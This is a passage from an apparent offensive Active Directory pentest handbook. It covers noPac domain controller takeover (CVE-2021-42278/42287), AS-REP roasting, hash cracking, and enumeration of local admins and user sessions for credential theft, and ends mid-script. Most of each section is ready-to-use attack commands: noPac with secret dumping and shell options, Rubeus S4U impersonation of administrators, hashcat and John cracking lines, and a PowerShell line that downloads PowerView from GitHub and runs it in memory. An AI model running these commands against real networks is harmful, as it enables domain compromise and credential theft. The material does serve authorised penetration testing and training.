5. Restoring of the created / controlled machine account `sAMAccountName`.
6. Requesting a `S4U2self` ticket using the retrieved `TGT` to get a `Service Ticket (ST)` impersonating an arbitrary user to the Domain Controller. Upon reception of the `TGT`, the `KDC` will perform a lookup for the account using the `sAMAccountName` defined in the `TGT` (`DC01` in the example). As an account with such `sAMAccountName` no longer exist in the domain, the `KDC` will automatically lookup for the account appended with a "$" (`DC01$` in the example), and encrypt the `ST` with a secret of that account. As the `KDC` incorrectly assume that the `TGT` was for the Domain Controller machine account (`CVE-2021-42287`), the `S4U2self` ticket request is fulfilled. The `S4U2self` ticket allows impersonation of an ("impersonatable") user to the Domain Controller services (`LDAP`, `CIFS`, etc.). For more information on the `S4U2self` mechanism, refer to the `[ActiveDirectory] Kerberos delegations` note.
7. The `ST` obtained can be used to access the Domain Controller, for instance to remotely execute code (`CIFS` `SPN`) or replication operations (`LDAP` `SPN`).

The attack can be performed automatically using the [noPac](https://github.com/Ridter/noPac) Python script ([standalone compiled versions](https://github.com/Qazeer/OffensivePythonPipeline)):

```bash
# Retrieves tickets from all the Domain Controllers in the domain to validate their size.
noPac_scanner.py -all <DOMAIN_FQDN>/<USERNAME>[:<PASSWORD>]

# --impersonate <USER_TO_IMPERSONATE>: user to impersonate (must be "impersonatable"). noPac.py will automatically select a random Domain Administrator account if not specified.
# -create-child: rely on the CreateChild ACE to add a computer object (notably useful if ms-DS-MachineAccountQuota is set to 0).
# -dump -just-dc: retrieve secrets from the Domain Controller using impacket's secretsdump.
# -shell: execute code on the Domain Controller using impacket's smbexec.

noPac.py [-dc-ip <DC_IP>] [--impersonate <USER_TO_IMPERSONATE>] [-create-child] [-dump [-just-dc] | -shell] <DOMAIN_FQDN>/<USERNAME>[:<PASSWORD>]

# NTLM pass-the-hash.
noPac.py -hashes <LM_HASH:NT_HASH> <DOMAIN_FQDN>/<USERNAME>

# Kerberos authentication
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>
noPac.py -k -no-pass -dc-ip <DC_IP> <DOMAIN_FQDN>/<USERNAME>
```

The attack can also be performed manually using the [Powermad](https://github.com/Kevin-Robertson/Powermad) and the `RSAT`'s `ActiveDirectory` PowerShell modules and [`Rubeus`](https://github.com/GhostPack/Rubeus):

```
# Adds a new machine account.
New-MachineAccount -Verbose -Domain <DOMAIN_FQDN> -DomainController <DC_FQDN> -MachineAccount <MACHINE_ACCOUNT_NAME> -Password $(ConvertTo-SecureString '<MACHINE_ACCOUNT_PASSWORD>' -AsPlainText -Force)

# Clear the ServicePrincipalName attribute of the added machine account.
Set-ADComputer -Identity 'MACHINE_ACCOUNT_NAME' -Clear 'ServicePrincipalName'

# Updates the added machine account sAMAccountName attribute.
# The specified sAMAccountName should match the one of a Domain Controller machine account, without the trailing "$".
Set-MachineAccountAttribute -Verbose -MachineAccount "<MACHINE_ACCOUNT_NAME>" -Attribute samaccountname -Value "<DC_NAME_WITHOUT_$>"

# Request a TGT for the added machine account (specified using the new sAMAccountName).
Rubeus.exe asktgt /outfile:<TGT_OUTPUT_FILE> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /user:<DC_NAME_WITHOUT_$> /password:<MACHINE_ACCOUNT_PASSWORD>

# Restore the machine account sAMAccountName attribute.
Set-MachineAccountAttribute -Verbose -MachineAccount "<MACHINE_ACCOUNT_NAME>" -Attribute samaccountname -Value "<PREVIOUS_SAMACCOUNTNAME | DOES_NOT_MATTER>"

# Request a S4U2self ticket, using the previously obtained TGT, to impersonate the specified user to a service of the Domain Controller.
Rubeus.exe s4u /nowrap /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /ticket:<TGT_OUTPUT_FILE> /impersonateuser:<Administrator | USER_TO_IMPERSONATE> /self /altservice:<LDAP/DC_FQDN | CIFS/DC_FQDN | DC_SPN> /ptt
```

***

### References

<https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html>


# Exploitation - Kerberos AS\_REP roasting

### Overview

An ASP\_REP roasting attack is an attack on the `Kerberos` authentication protocol that involves compromising the password of an user account that do not require `Kerberos` pre-authentication.

The attack is based on the fact that the `KRB_AS_REP` response, in reply from the `KDC (Key Distribution Center)` for an initial authentication request `KRB_AS_REQ` to the `Authentication Service (AS)`, contains ciphertext encrypted using the client's secret key.

By default, the `KRB_AS_REQ` must include a timestamp encrypted with the client's secret key, in order to permit the verification of the user identity before the `KDC` returns a `KRB_AS_REP` response. This verification is omitted for user accounts that do not require `Kerberos` pre-authentication, i.e accounts with the account property `DONT_REQ_PREAUTH`. These user accounts secrets are exposed to offline cracking, against the ciphertext, attack that are much faster and can not be time restricted.

### Automated DONT\_REQ\_PREAUTH user accounts discovery and export of AS-REP responses

The following tools can be used to automate the discovery of user accounts that do not require `Kerberos` pre-authentication and the request and export of `KRB_AS_REQ` response for offline cracking.

In order to enumerate the domain user accounts, `Rubeus` / `GetNPUsers.py` must be started in a domain authenticated security context or provided with working domain credentials.

```
Rubeus.exe asreproast /outfile:<FILE>
Rubeus.exe asreproast /format:john /outfile:<FILE>

Rubeus.exe asreproast /creduser:'<DOMAIN_FQDN>\<USERNAME>' /credpassword:'<PASSWORD>' /dc:<DC_HOSTNAME | DC_IP> /domain:<DOMAIN_FQDN> /outfile:<FILE_PATH>

# Will attempt to request a TGT for all users.
GetNPUsers.py -request <DOMAIN>/<USERNAME>[:<PASSWORD>]
```

### DONT\_REQ\_PREAUTH user accounts discovery

The following tools can be used to discover user accounts that do not require `Kerberos` pre-authentication:

```
Get-ADUser -LdapFilter "(&(objectclass=user)(objectcategory=user)(useraccountcontrol:1.2.840.113556.1.4.803:=4194304))"
Get-ADUser -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredential> -LdapFilter "(&(objectclass=user)(objectcategory=user)(useraccountcontrol:1.2.840.113556.1.4.803:=4194304))"

Get-NetUser -LdapFilter "(&(objectclass=user)(objectcategory=user)(useraccountcontrol:1.2.840.113556.1.4.803:=4194304))"
Get-NetUser -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredential> -LdapFilter "(&(objectclass=user)(objectcategory=user)(useraccountcontrol:1.2.840.113556.1.4.803:=4194304))"
```

### Request and export of KRB\_AS\_REP responses

The following tools can be used to request and export `KRB_AS_REP` for user accounts that do not require `Kerberos` pre-authentication.

The following operations do not require the knowledge of valid credentials.

```
Rubeus.exe asreproast /user:<USERNAME> /outfile:<FILE>
Rubeus.exe asreproast /dc:<DC_HOSTNAME | DC_IP> /domain:<DOMAIN_FQDN> /user:<USERNAME> /outfile:<FILE>

GetNPUsers.py '<DOMAIN>/' -usersfile <USERNAMES_FILE>
GetNPUsers.py '<DOMAIN>/' -dc-ip <DC_HOSTNAME | DC_IP> -usersfile <USERNAMES_FILE> -format john
```

### Offline cracking of KRB\_AS\_REP responses

Both `John the Ripper` (magnumripper fork) and `hashcat` can be used to crack the `KRB_AS_REP` responses.

The hash needs to respect the following format to be recognized `hashcat`:

```
# ENCRYPTION_TYPE 23 = RC4
# ENCRYPTION_TYPE 17 = AES128
# ENCRYPTION_TYPE 18 = AES256

$krb5tgs$<ENCRYPTION_TYPE>$*<USERNAME>@<DOMAIN>:$85DA[...]
```

Depending on the tool used, the hash retrieved may need to be manually updated.

The following commands can be used to crack the `KRB_AS_REP` responses:

```
# Its recommended to use Hashcat on a Windows OS for better performance due to driver compatibility
hashcat64.exe -m 18200 -a 0 [-r <RULE_FILE>] '[<HASH> | <HASHFILE>]' <WORDLIST>

john --wordlist=<WORDLIST> <HASHFILE>
```

***

### References

<https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/> <https://tools.ietf.org/html/rfc4120#page-60> <https://beta.hackndo.com/kerberos-asrep-roasting/> <https://adsecurity.org/?p=227>


# Exploitation - Credentials theft shuffling

### Local groups enumeration

Enumerating local groups members, and notably the (local or domain-joined) members of the local `Administrators` / `Administratreurs` (`SID`: `S-1-5-32-544`) built-in group, is a crucial step in the credentials theft shuffling process. Indeed, an enumeration of local groups members is a more efficient and stealthy way to find what computers the compromised accounts have access to than direct connection attempts. In additions to the local `Administrators` group, membership to the `Remote Desktop Users` / `Utilisateurs du Bureau à distance` (`SID`: `S-1-5-32-555`) and `Distributed COM users` / `Utilisateurs du modèle COM distribués` (`SID`: `S-1-5-32-562`) groups should be enumerated as well as such membership can be leveraged for remote code execution.

Two techniques, and associated tooling, can be used to enumerate the local groups members of remote hosts:

* Queries to the `Security Accounts Manager` database of the remote host using the `Security Account Manager (SAM) Remote Protocol (MS-SAMR)` (through the `MSRPC` `SAMR` interface).
* Enumeration of the local administrators configured through Active Directory `Group Policy Objects (GPO)`.

| Use case                                                                                                                                                                                   | Recommended tool(s)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p>One-time enumeration across the whole target Active Directory domain or forest.<br>-<br>Local <code>Administrators</code> groups members.</p>                                           | <p><code>BloodHound</code> (collection using <code>SharpHound</code>'s <code>All</code> or <code>LocalAdmin</code> collection methods).<br><br><code>PingCastle</code>'s <code>localadmin</code> module. <code>PingCastle</code> presents the advantage of usually not being flagged by anti-virus solutions.<br><br><em>Both <code>SharpHound</code> and <code>PingCastle</code>'s <code>localadmin</code> module rely on direct and curated <code>SAMR</code></em> <em><code>RPC</code> calls (notably <code>SamGetMembersInAlias</code>) and conduct the enumeration using the <code>RID 544</code> alias (<code>DOMAIN\_ALIAS\_RID\_ADMINS</code>).</em></p> |
| <p>One-time enumeration across the whole target Active Directory domain or forest.<br>-<br><code>Administrators</code> and others local groups that yield remote execution privileges.</p> | `BloodHound` (collection using `SharpHound`'s `All` or `LocalGroup` collection methods). In additions to members of the local `Administrator` group, `SharpHound` can enumerate members of the `Remote Desktop Users` and `Distributed COM users` groups.                                                                                                                                                                                                                                                                                                                                                                                                        |
| Complementary manual enumeration on one host.                                                                                                                                              | `PingCastle`'s `localadmin` module executed in `interactive mode` to manually specify the targeted host.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| Complementary manual enumeration on a limited number of hosts.                                                                                                                             | <p><code>PowerView</code>'s <code>Find-DomainLocalGroupMember</code> PowerShell cmdlet.<br><br><code>Find-DomainLocalGroupMember</code> present the notable disadvantage of conducting the enumeration using the group name (by default <code>Administrators</code>) instead of the <code>RID 544</code> alias, and thus is not able to enumerate local groups members of Windows operating systems in different languages at the same time.<br><br><em>Relies on the <code>NetLocalGroupGetMembers</code> API (by default) or on the <code>Active Directory Service Interfaces (ADSI) WinNT</code> provider.</em></p>                                           |
| In a covert scenario in which the completeness of the results is traded for stealth.                                                                                                       | <p><code>BloodHound</code> (collection using <code>SharpHound</code>'s <code>GPOLocalGroup</code> or <code>DcOnly</code> collection methods).<br><br><code>PowerView</code>'s <code>Get-DomainGPOUserLocalGroupMapping</code> PowerShell cmdlet.</p>                                                                                                                                                                                                                                                                                                                                                                                                             |

**RPC calls to the MSRPC SAMR interface**

Numerous tools can be used to conduct the local groups members enumeration through `RPC` queries to the `MSRPC` `SAMR` interface of remote hosts.

The `RPC` calls can be implemented through the `Win32API`'s `NetLocalGroupGetMembers` API, the `Active Directory Service Interfaces (ADSI) WinNT` provider or direct and curated `RPC` calls (as implemented by `SharpHound`).

Note that the possibility to make remote calls to the `SAM` of remote hosts through the `SAMRPC` protocol is by default restricted to members of the local `Administrators` group starting from the `Windows 10, version 1607` and `Windows Server 2016` operating systems. Specific `Knowledge Base (KB)` can also be installed on Windows operating systems, starting from `Windows 7` and `Windows Server 2008 R2`, to configure the aforementioned restriction (`KB 4012218` - `KB 4012220`, `KB 4012606` or `KB 4103198` depending on the operating system).

*BloodHound / PingCastle*

`BloodHound`'s `SharpHound` collector or `PingCastle` can be used for an automated enumeration of the local groups members of all the computers joined in the targeted Active Directory domain.

`PingCastle` returns a text file with the enumerated computers fully qualified hostnames and the members of their local built-in `Administrators` group. `SharpHound` returns a `ZIP` archive (containing `JSON` files) that can be imported into a `Neo4j` database using `BloodHound`.

For more information on both tools, refer to the `[Active Directory] AD scanner` note.

```
# BloodHound's SharpHound.
# Either the PowerShell SharpHound.ps1 (that inlines the C# DLL) or the C# SharpHound.exe collector may be used.
Invoke-Bloodhound -Verbose -CollectionMethod <all | LocalAdmin | LocalGroup>
Invoke-Bloodhound -Verbose -Domain '<DOMAIN_FQDN>' -DomainController '<DC_IP | DC_HOSTNAME>' -LDAPUsername '<USERNAME>' -LDAPPassword '<PASSWORD>' -CollectionMethod <all | LocalAdmin | LocalGroup>

SharpHound.exe -v --Domain '<DOMAIN_FQDN>' --domaincontroller '<DC_IP | DC_HOSTNAME>' --ldapusername '<USERNAME>' --ldappassword '<PASSWORD>' -c <all | LocalAdmin | LocalGroup>

# PingCastle.
# Enumeration on all the computers integrated into the current or specified Active Directory domain.
PingCastle.exe --scanner "localadmin"
PingCastle.exe --server <DC_FQDN | DC_IP> --user "<DOMAIN>\<USERNAME>" --password "<PASSWORD>" --scanner "localadmin"

# Executes PingCastle in interactive in order to manually specify the targeted host.
.\PingCastle.exe
-> 4-Scanner -> 6-localadmin -> 2-one -> <HOSTNAME | FQDN>
```

*PowerView*

```
# Injection in memory of PowerView from the Empire maintained fork. Alternatively, the `PowerView.ps1` PowerShell script can be hosted on a controlled web server.
(New-Object System.Net.WebClient).Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')

# PowerView - single computer "Administrators" members
Find-DomainLocalGroupMember -ComputerName <HOSTNAME | IP>
Find-DomainLocalGroupMember -ComputerName <HOSTNAME | IP> -ComputerDomain <DOMAIN> -Server <DC> -Credential <PSCredential>

# PowerView - multiple computers "Administrators" members
Find-DomainLocalGroupMember | Export-Csv -Path <OUTPUT_CSV>
Find-DomainLocalGroupMember -ComputerDomain <DOMAIN> -Server <DC> -Credential <PSCredential>
```

**From Group Policy Objects**

The second technique pulls the local administrators configured through `Group Policy Objects (GPO)`. Local group membership can be defined using `Restricted Groups` in `GptTmpl.inf` file or group membership in `Group Policy Preferences groups.xml` files.

In the `GptTmpl.inf`, users or group will added in the built-in Administrators group using the line:

```
[Group Membership]
*S-1-5-32-544__Members = <*SID | USERNAME | GROUPNAME>
```

This technique present the advantage of being stealthier as no direct queries to each computers are made to retrieve the local administrators group members. However, any user or group added in the local Administrators group directly on the master image will be missed.

Note: GPO can be linked to an OU but not necessarily applied, as an OU can `blocks inheritance` on an not `enforced` GPO or a conflicting GPO with a higher precedence order may supplant the exploitable GPO.

```
# Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences
# The 'GroupName' specify the group to which the 'GroupMembers' are added
Get-DomainGPOLocalGroup
Get-DomainGPOLocalGroup -Domain <DOMAIN> -Server <DC> -Credential <PSCredential>

Get-DomainOU -GPLink "<GPO_GUID>" | ForEach-Object {
    Get-DomainComputer -SearchBase "LDAP://$($_.distinguishedname)" | Ft Name
}
```

Note that the tooling of this technique is still experimental and that the tools presented below may not yield comprehensive results.

```
SharpHound's 'GPOLocalGroup', 'DcOnly' or 'All' collection methods.

# Enumerates the machines where a specific domain user/group is a member of a specific local group
# If no user/group is specified, all discoverable mappings are returned.
Get-DomainGPOUserLocalGroupMapping
Get-DomainGPOUserLocalGroupMapping -Identity <USERNAME | GROUPNAME> -LocalGroup <TARGET_GROUPNAME> -Domain <DOMAIN> -Server <DC> -Credential <PSCredential>

# Enumerates a specified local group for the targeted machine
Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity <HOSTNAME | IP> -LocalGroup <GROUPNAME>
Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity <HOSTNAME | IP> -LocalGroup <GROUPNAME> -Domain <DOMAIN> -Server <DC> -Credential <PSCredential>
```

Moreover, GPO can be used to define user rights on the computers the GPO is applied to, such as the logon right `SeRemoteInteractiveLogonRight` and specific privileges. Some of these privileges can be used to locally elevate privileges or directly dump the `LSASS` process. Reviewing the user rights defined in GPO can thus lead to more vectors of credentials re-use. Refer to the `Active Directory - GPO users rights` for more information.

**Local groups BloodHound Cypher queries**

`SharpHound` result can be consulted through the `BloodHound` graphical interface or queried using direct `Neo4j`'s `Cypher` queries (executed in the `Neo4j` web console).

```
# BloodHound GUI.
# For user or group nodes.
Node Info
-> Local Admin Rights
    -> First Degree Local Admin / Group Delegated Local Admin Rights
-> Execution Privileges
    -> First Degree RDP Privileges / Group Delegated RDP Privileges
    -> First Degree DCOM Privileges / Group Delegated DCOM Privileges
    -> SQL Admin Rights
    -> Constrained Delegation Privileges

# For computer nodes.
Node Info
-> Local Admin
    -> Local Admins / Explicit Admins / Unrolled Admins / Foreign Admins / Derivative Local Admins
-> Inbound Execution Privileges
    -> First Degree Remote Desktop Users / Group Delegated Remote Desktop Users
    -> First Degree Distributed COM Users / Group Delegated Distributed COM Users
    -> SQL Admins

# Neo4j's Cypher queries.
# The queries below should be executed through the Neo4j web console (by default accessible at http://localhost:7474/browser/).

# Local Administrators.
# First degree membership of the specified domain user to local Administrators groups.
MATCH (u:User) WHERE u.name =~ "<USERNAME_IN_CAPS>@<DOMAIN_FQDN_IN_CAPS>" MATCH (c:Computer) MATCH p=allShortestPaths((u)-[r:AdminTo]->(c)) RETURN c.name
# Both first degree and group delegated membership of the specified domain user to local Administrators groups.
MATCH (u:User) WHERE u.name =~ "<USERNAME_IN_CAPS>@<DOMAIN_FQDN_IN_CAPS>" MATCH (c:Computer) MATCH p=allShortestPaths((u)-[r:AdminTo|MemberOf*1..]->(c)) RETURN c.name

# First degree membership of Everyone, Anonymous, Authenticated Users, Domain Users or Domain Computers to local Administrators groups of all computers integrated in the BloodHound database.
MATCH (g:Group) WHERE g.objectid ENDS WITH '-513' OR g.objectid ENDS WITH 'S-1-5-11' OR g.objectid ENDS WITH 'S-1-1-0' OR g.objectid ENDS WITH 'S-1-5-7' MATCH (c:Computer) MATCH p=allShortestPaths((g)-[r:AdminTo]->(c)) RETURN c.name
# Both first degree and group delegated membership of Everyone, Anonymous, Authenticated Users, Domain Users or Domain Computers to local Administrators groups  all computers integrated in the BloodHound database.
MATCH (g:Group) WHERE g.objectid ENDS WITH '-513' OR g.objectid ENDS WITH 'S-1-5-11' OR g.objectid ENDS WITH 'S-1-1-0' OR g.objectid ENDS WITH 'S-1-5-7' MATCH (c:Computer) MATCH p=allShortestPaths((g)-[r:AdminTo|MemberOf*1..]->(c)) RETURN c.name

# Possible code execution (local Administrators, Remote Desktop Users, Distributed COM users, LAPS password delegation, etc.).
# Possible code execution of the specified domain user to all computers integrated in the BloodHound database.
MATCH (u:User) WHERE u.name =~ "<USERNAME_IN_CAPS>@<DOMAIN_FQDN_IN_CAPS>" MATCH (c:Computer) MATCH p=allShortestPaths((g)-[r:AdminTo|GenericAll|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|ReadLAPSPassword|SQLAdmin|CanPSRemote]->(c)) RETURN c.name
# Possible code execution of Everyone, Anonymous, Authenticated Users, Domain Users or Domain Computers to all computers integrated in the BloodHound database.
MATCH (g:Group) WHERE g.objectid ENDS WITH '-513' OR g.objectid ENDS WITH 'S-1-5-11' OR g.objectid ENDS WITH 'S-1-1-0' OR g.objectid ENDS WITH 'S-1-5-7' MATCH (c:Computer) MATCH p=allShortestPaths((g)-[r:AdminTo|GenericAll|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|ReadLAPSPassword|SQLAdmin|CanPSRemote]->(c)) RETURN c.name
```

### Sessions hunting

Enumerating the sessions established on the machines of the Active Directory domain is also a crucial step in the credentials theft shuffling process. Indeed, an enumeration of the current sessions is tremendously faster than large scale dumping and credentials extraction from `LSASS` processes on a domain level. Additionally, it allows for the addition of sessions in the computation of more complex attack paths through graph theory (using `BloodHound` for example).

Multiple techniques, and associated tooling, can be used to enumerate the sessions established across the targeted Active Directory domain:

* Enumeration of the sessions established on the machines in the domain using the Windows `Win32API`'s `NetSessionEnum` function. This method does not directly query the systems to enumerate their currently logged-on users but rely on retrieving the sessions established on a machine (likely a server) from others Windows systems. While this method only returns partial results, notably for logged-on users that did not establish any session on remote servers, it is the only one that does not require elevated privileges on the queried host.
* Access of remote hosts `user profile` registry hives using the `Remote Registry` `RPC` protocol. As a new `user profile` hive is created each time a new user logs on to a computer, the `user profile` registry hives of a computer give information about past and present logged-on users. This method does not require elevated privileges but the Windows `Remote Registry` service to be running on the remote host.
* Direct querying of remote hosts for information about all users currently logged-on using the `Win32API`'s `NetWkstaUserEnum` function or `WMI`'s `Win32_LoggedOnUser` class. This method requires elevated privileges on the queried host.
* Remote listing of the processes of hosts and enumerating the ones being executed in the security context of a domain user, which requires elevated privileges on the queried host.
* Remote extraction of the Windows `Security` events `4624: An account was successfully logged on` on hosts' `Security` hives and listing of the domain users connections. This method requires the right to access the `Security` `EVTX` hive on the remote host.

While leveraging the Windows `Win32API`'s `NetSessionEnum` function and access to `user profile` hives do not require elevated privileges on the remote hosts, if an account member of the `Administrators` group of a number of machines could be compromised, others options may be used to enumerate sessions with a better precision. Notably, these alternative methods may prove useful if `Find-DomainUserLocation` or `SharpHound`'s `Session` or `All` collection methods did not manage to detect `Domain Admins` sessions. In order to find on which machines compromised accounts are member of the local `Administrators` group, refer to `Local groups enumeration` section above.

| Use case                                                                                                                                                                                                                                                      | Recommended tool(s)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| One-time enumeration across the whole target Active Directory domain or forest **using an unprivileged domain user**.                                                                                                                                         | <p><code>BloodHound</code> (collection using <code>SharpHound</code>'s <code>All</code> or <code>Session</code> collection methods).<br><br>-> Leverages <code>Win32API</code>'s <code>NetSessionEnum</code> function.</p>                                                                                                                                                                                                                                                                                                            |
| One-time enumeration across the whole target Active Directory domain or forest **using a privileged domain user** for a more comprehensive sessions enumeration (in a security review kind of engagement for example).                                        | <p><code>BloodHound</code> (collection using <code>SharpHound</code>'s <code>All</code> or <code>LoggedOn</code> collection methods).<br><br>-> Leverages both <code>Win32API</code>'s <code>NetWkstaUserEnum</code> function and access to <code>Users</code> registry hives using the <code>Remote Registry</code> <code>RPC</code> protocol.</p>                                                                                                                                                                                   |
| Complementary manual enumeration on one or a limited number of hosts **using an unprivileged domain user.**                                                                                                                                                   | <p><code>PowerView</code>'s <code>Find-DomainUserLocation</code> PowerShell cmdlet.<br><br>BloodHound (collection using SharpHound's <code>Session</code> collection method and by specifying the targeted systems using the <code>-ComputerFile</code> (<code>SharpHound.ps1</code>) / <code>--computerfile</code> (<code>SharpHound.exe</code>) parameter.)<br><br><code>PowerView</code>'s <code>Get-RegLoggedOn</code> (which requires the Windows <code>Remote Registry</code> service to be running on the targeted hosts).</p> |
| <p>Complementary manual enumeration on one or a limited number of hosts using an account with <code>Administrators</code> privileges on the targeted hosts.<br><br>This use case may arise after the compromise of an additional domain or local account.</p> | <p><code>Get-WmiObject Win32\_LoggedOnUser</code> and <code>Get-WmiObject Win32\_LoggedOnUser</code> using the provided PowerShell code snippets below.<br><br><code>PowerView</code>'s <code>Find-DomainUserLocation</code> PowerShell cmdlet.<br><br>This technique reduces the number of false positives induced by using the <code>Users</code> registry hives as implemented by <code>SharpHound</code>'s <code>LoggedOn</code> collection method.</p>                                                                           |

**Unprivileged calls to the Win32API's NetSessionEnum function**

The Windows `Win32API`'s `NetSessionEnum` function provide information about sessions established on a computer. It does not provide information about users that are directly logged-on on the queried host but returns information on the sessions established on the host (likely a server) from others Windows computers.

While different level of information can be retrieved using the `NetSessionEnum` function, only the `level 0` or `level 10` calls are allowed for users with out elevated privileges on the remote host. The `level 10` calls, leveraged by offensive tools, return `SESSION_INFO_10` structure(s), which contain:

* `sesi10_cname`: the name of the computer that established the session;
* `sesi10_username`: the name of the user who established the session;
* `sesi10_time`: the number of seconds the session has been active;
* `sesi10_idle_time`: the number of seconds the session has been idle.

The `PowerView`'s `Get-NetSession` cmdlet as well as the `SharpHound`'s `Session` collection method wrap around the `NetSessionEnum` function.

```
Get-NetSession -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>

Get-NetSession -Credential <PSCredential> -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>
```

Additionally, the `PowerView`'s `Find-DomainUserLocation` cmdlet combine the `Get-NetSession` and `Get-NetLoggedon`, introduced below, cmdlets to find machines where the specified user or group's members are logged-on. The `ShowAll` flag can also be specified to return all user's session, on all machines or on the specified machine.

If the `Stealth` flag is specified, then servers with likely highly-traffic are enumerated with `Get-DomainFileServer` and `Get-DomainController` and session enumeration is executed only against those servers using `Get-NetSession`.

If the `CheckAccess` flag is specified, the `PowerView` cmdlet `Test-AdminAccess` will be called to check if the current user context has local administrator access to the machine on which the target members have a session on. Note that the `CheckAccess` does not take into account credentials specified using the `Credential` parameter. The `CheckAccess` call can be patched using the following code:

```
# Target: either UserGroupIdentity or UserIdentity
# Default to UserGroupIdentity = "Domain Admins"
Find-DomainUserLocation
Find-DomainUserLocation -Server <DC> -Credential <PSCredential>

Find-DomainUserLocation -UserGroupIdentity <GROUPNAME>
Find-DomainUserLocation -UserIdentity <USERNAME>

# Find all active sessions on the specified machine
Find-DomainUserLocation -ShowAll -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>

# Check if the current user context has administrator access to the machine on which the target members have a session on
Find-DomainUserLocation -CheckAccess
```

**Unprivileged access to Users registry hives through the Remote Registry protocol**

Each time a new user logs on to a computer, a new `user profile` hive is created for that user under the `HKEY_USERS` key. This hive contains registry information relative to the user's settings. The `user profile` registry hives of a computer thus give information about past and present logged-on users.

As `user profile` registry hives are not automatically purged, this enumeration can induce false positives by identifying users that are no longer logged-on the targeted host.

While remote access to the `user profile` registry hives of a given host does not require elevated privileges on the remote host, the Windows `Remote Registry` service must be running on the host (which is not the case by default). The registry access is made through the `Remote Registry` protocol.

The `PowerView`'s `Get-RegLoggedon` cmdlet as well as the `SharpHound`'s `LoggedOn` collection method implement this enumeration method. The `SharpHound`'s `LoggedOn` collection method additionally tries to enumerate the logged-on users using the `Win32API`'s `NetWkstaUserEnum` function (which will only be successful if `SharpHound` is being executed under a security context with elevated privileges on the remote hosts).

```
Get-RegLoggedon -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>
```

**Privileged calls to the Win32API's NetWkstaUserEnum function**

The Windows `Win32API`'s `NetWkstaUserEnum` function provides information about users logged on a computer. Note that on newer versions of Windows, the use of the `NetWkstaUserEnum` function requires `Administrators` privileges on the remote system.

The `PowerView`'s `Get-NetLoggedon` cmdlet as well as the `SharpHound`'s `LoggedOn` collection method wrap around the `NetWkstaUserEnum` function. The `SharpHound`'s `LoggedOn` collection method additionally leverages the `Remote Registry` protocol to enumerate `user profile` registry hives, which can induce false positives about users that are no longer logged on the targeted host.

```
# Built-in
WMIC /NODE:<HOSTNAME | IP> COMPUTERSYSTEM GET USERNAME
Get-WmiObject Win32_LoggedOnUser -ComputerName <HOSTNAME | IP>
Get-WmiObject Win32_LoggedOnUser -Credential <PSCredential> -ComputerName <HOSTNAME | IP>

# PowerView
Get-NetLoggedon -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>
Get-NetLoggedon -Credential <PSCredential> -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>
```

This enumeration can also be done directly using the `WMI`'s `Win32_LoggedOnUser` class:

```
$Credential = <PSCredential>
$InputFile = <FILEPATH>

Get-Content $InputFile | ForEach-Object {
    $ComputerName = $_
    Get-WmiObject Win32_LoggedOnUser -Credential $Credential -ComputerName $ComputerName| ForEach-Object {
          [pscustomobject]@{
                ComputerName = "$ComputerName"
                UserName = $("{0}\{1}” -f $_.Antecedent.ToString().Split('"')[1], $_.Antecedent.ToString().Split('"')[3])   
          }
    } | Select-Object -Unique ComputerName, Username | Where-Object -FilterScript {$_.Username -ne '\'}
}
```

**Privileged remote listing of processes**

The users running processes on the remote machine can be enumerated to find active session. The `PowerView`'s cmdlet `Find-DomainProcess` leverages `Get-WMIProcess` to remotely list the processes running on the targeted machine, or all machines integrated in the current (or specified) domain. It can be used to list processes being executed by a specific user or by users in a specific group.

```
# Target: either UserGroupIdentity or UserIdentity.
# Default to UserGroupIdentity = "Domain Admins".
Find-DomainProcess
Find-DomainProcess -Server <DC> -Credential <PSCredential>

Find-DomainProcess -UserGroupIdentity <GROUPNAME>
Find-DomainProcess -UserIdentity <USERNAME>

# If the list of machines a given user has Administrator access to is saved in a file, the following can be used to retrieve the active users on the machines.
[string[]]$arrayFromFile = Get-Content -Path <FILE>
$commaSeparatedList = '"{0}"' -f ($arrayFromFile -join '","')
Find-DomainProcess -Server <DC> -Credential <PSCredential> -ComputerName $commaSeparatedList
```

This enumeration can also be done directly using the `WMI`'s `Win32_Process` class:

```
$(Get-WmiObject -Credential <PSCredential> -Class Win32_Process -ComputerName <COMPUTERNAME>).GetOwner().user | Select-Object -Unique

# Script to enumerate all users having at least one running process on the specified machines.
$Credential = <PSCredential>
$InputFile = <FILEPATH>
Get-Content $InputFile | ForEach-Object {
    $ComputerName = $_

    Get-WmiObject -Class Win32_Process -Credential $credentials -ComputerName $ComputerName | ForEach-Object {
